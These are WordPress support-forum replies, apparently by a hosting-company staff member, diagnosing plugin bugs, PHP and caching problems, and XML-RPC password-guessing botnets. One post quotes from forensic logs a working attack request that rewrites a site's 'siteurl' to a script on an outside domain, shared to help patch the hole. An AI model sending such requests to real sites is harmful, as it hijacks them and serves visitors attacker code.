tigertech

One of our hosting customers saw the same thing. We tracked it down to a security bug in Ultimate Member 2.6.3, which appears to have just been fixed in 2.6.4. You can see in the changelog:

• Added: Avoid using?extract()?function and increase supporting WordPress Code Standards

According to our forensic logs, the bug was caused by the Ultimate Member code using extract() on untrusted form data, which programmers are not supposed to do. ??

Just as a followup to this, I work for a hosting company, and one of our customer sites was also hacked via this vulnerability yesterday. We use mod_security logging for forensics, so I can tell you the exact request used to do it:

POST /wp-json//oxilabtabsultimate/v1/oxi_settings HTTP/1.1

Post data:

rawdata={"name":"siteurl","value":"https://line.storerightdesicion.com/ping/?track.js"}

Hopefully that helps you (the author) ensure that the vulnerability is patched.

I’m working with an organization that uses WPForms and recently started seeing heavily delayed notifications. Adding the code snippet above fixes it.

However, the site is very busy (several page views per second), not low traffic.

The problem happened regardless of whether it was using the built-in PHP mail() function of an SMTP server.

As an editorial comment: I looked through all this async sending code trying to debug it, and it’s incredibly baroque and complex. I can’t believe how much impenetrable code there is to just eventually call (or not call) wp_mail(). I’d strongly encourage you to change it back to send email normally, without all of these layers of indirection — or at least make “send notification immediately” an option people can choose. Thanks!

Do you use the NextGEN gallery plugin as well? If so, this thread will help:

https://www.ads-software.com/support/topic/500-internal-server-error-urgent-2/

If not, it’s possible that something else you are using has the same problem as NextGEN Gallery, where a new bug in PHP 7.0.26 and PHP 7.1.12 causes this:

https://bugs.php.net/bug.php?id=75573

FYI, this problem is caused by this PHP bug in PHP 7.0.26 and 7.1.12:

https://bugs.php.net/bug.php?id=75573

It appears the bug has been fixed for future versions of PHP.

FYI, this is caused by the bug identified in this thread.

I tracked this down. The bug is in line 1454 of “wp-cache.php”:

if( !is_file( $cache_path . '.htaccess' ) ) {
    $gziprules = insert_with_markers( $cache_path . '.htaccess', 'supercache'...

This says “if the file at /wp-content/cache/.htaccess doesn’t exist, create one that contains the gzip rules”.

That always worked before version 1.4.5, because nothing else creates that file. But in 1.4.5, the file has already been created by function wp_cache_add_index_protection(), so the line 1454 test now fails to add the necessary gzip rules.

I think the if( !is_file at line 1454 should probably just be removed completely, making it run insert_with_markers whether the .htaccess file already exists or not.

(This should probably be a high-priority fix released ASAP; the bug breaks most WP Super Cache sites where people turn on gzip compression.)

I can confirm this bug. It is happening because when using mod_rewrite with gzip compression, the “wp-content/cache/.htaccess” file does not properly contain the magic gzip stuff anymore:

# BEGIN supercache
<IfModule mod_mime.c>
  <FilesMatch "\.html\.gz$">
    ForceType text/html
    FileETag None
  </FilesMatch>
  AddEncoding gzip .gz
  AddType text/html .gz
 ....

Instead, it contains ONLY this:

# BEGIN INDEX
Options -Indexes
# END INDEX

It appears that somehow, the new code that creates the index protection makes it not correctly write the “supercache” section. I can easily duplicate this by simply re-saving the settings.

Donncha, perhaps this is enough for you to troubleshoot it; if not, I’ll try to trace what code path makes this happen later today.

You’re mixing up two unrelated “caching” concepts.

WP Super Cache caches pages on the server, allowing the server software to send the same page quickly to a different visitor in the future.

The caching that webpagetest.org recommends is “browser caching” on visitor computers, which is different. It consists of setting “HTTP response headers” that tell a browser it’s okay to save a copy of (e.g.) images that change infrequently. This allows the cached copy already on the visitor’s computer to be displayed quickly if that person views the same page in the future, without needing to fetch the identical image from the server again.

The latter browser caching is unrelated to WP Super Cache. Searching Google for “browser caching expires” will show you some useful information about it.

While I can’t help with the cause of your problem, we use WP Super Cache and mod_fcgid together on thousands of sites, and it works fine. We’ve never done anything special to make it work.

As a followup to this: further investigation reveals that the reason the problem is so bad is that when MatchChat tries to create the table on the site that exhibits such poor performance, it can’t, because the wp_posts table it references with foreign keys is an old MyISAM table.

So the CREATE TABLE fails with:

Can't create table 'redrants.mc_commentcache' (errno: 150)

But the MatchChat plugin doesn’t notice this and continues trying to create it on each page view (which, as mentioned, is resource-intensive).

A simple solution to this is to manually create the table it wants without the foreign key reference:

CREATE TABLE IF NOT EXISTS mc_commentcache (
    ID bigint(20) unsigned NOT NULL AUTO_INCREMENT,
    post_ID bigint(20) unsigned NOT NULL,
    comments bigint(20) unsigned NOT NULL,
    time bigint(20) unsigned NOT NULL,
    PRIMARY KEY (ID),
    UNIQUE KEY postID (post_ID)
    ) ENGINE=InnoDB

After doing that, it no longer tries to create the table on every page view, and the MySQL resource usage is normal again.

Hope this helps someone else in the same boat, since this is probably common. (Of course, it would be better if the MatchChat plugin detected this problem and fixed it — this way, or another way — by itself…)

you probably have a terrible password if “testing and stockpiling valid passwords” via XML-RPC is your primary security concern

I absolutely agree.

My original post was more in the context of companies that host large numbers of WordPress blogs for “strangers” (and so was the other thread), where you end up being responsible for their site security but can’t control what passwords they choose or what plugins they run. In that case, the companies do have to consider XML-RPC rate limiting, etc.

The moderated link above was intended to provide technical details of the attack XML contents for people who are responsible for other people’s blogs, so they can set up rules in mod_security, etc. to block it. I won’t repost any links, but you can search for “wp.getUsersBlogs attack” to find technical details from several prominent sites posting about this in the last couple of days. There just wasn’t any mention of the attack yet here in the support forums (the other thread got posted simultaneously).

If the hosts are really concerned about it, they can rate-limit XML-RPC too

That’s definitely true. The unfortunate thing is that it’s much harder to add rate-limiting rules for XML-RPC, so fewer will.

It’s easy to rate-limit HTTP POSTs to wp-login.php because every single one of them represents a single attempt to login (and nothing else). And it’s easy to tell whether the request sent the right password or not based on the HTTP result code. So you can trivially generate a list of all IP addresses that are sending bad logins just by searching through your Web server’s access.log.

But a POST to xmlrpc.php can contain many different kinds of actions, some of which are expected to be repeated and must not be rate-limited.

So you have to examine the XML content of the request to find ones that are password guessing attempts — and if you want to know whether it was valid or not, you have to examine the contents of the result body, too, because the HTTP result code is always “200”, whether a bad password is sent or not.

Many hosting companies probably don’t have the tools to intercept and parse HTTP request and result bodies to do this properly, so I would expect that on average, xmlrpc.php is going to be more vulnerable than wp-login.php, unfortunately. ??

Just follow the recommended security procedures, and you’ll have nothing to worry about

Agreed.

That’s not really a new method, rather an old method gaining popularity again

I think there’s perhaps a misunderstanding. This botnet isn’t using it to try to post blog entries, comments, and so on, as I think you’re referring to (that is indeed something seen often before). The use of “wp.getUsersBlogs” seems new; I can find no references on the Internet to botnets using it before this month.

Rather, they’re now using XML-RPC solely to test and stockpile valid passwords for later use (because their POSTs to xmlrpc.php have no other effect). It appears they’ve switched from wp-login.php username testing to xmlrpc.php testing, perhaps because so many hosting companies are blocking or rate-limiting wp-login.php attempts.

It still requires a username and password to post

Well, note that the problems with it go beyond the danger of allowing a stranger who knows your password to post to your blog.

In addition to XML-RPC being used to try to [link moderated – keep support on this site] guess passwords (this is new since many hosting companies now rate-limit wp-login.php), it can also be used to make your site attack other sites. It’s likely that the hosting company was referring to these unexpected dangers.

XML-RPC is still enabled on our blog because we have other measures in place, but if I didn’t, I think I’d disable it. Removing any software you don’t use from your site improves security as it minimizes what’s exposed to hackers. But that’s a general rule, not specific to XML-RPC; the same thing applies to removing plugins and old theme files you don’t use, for example.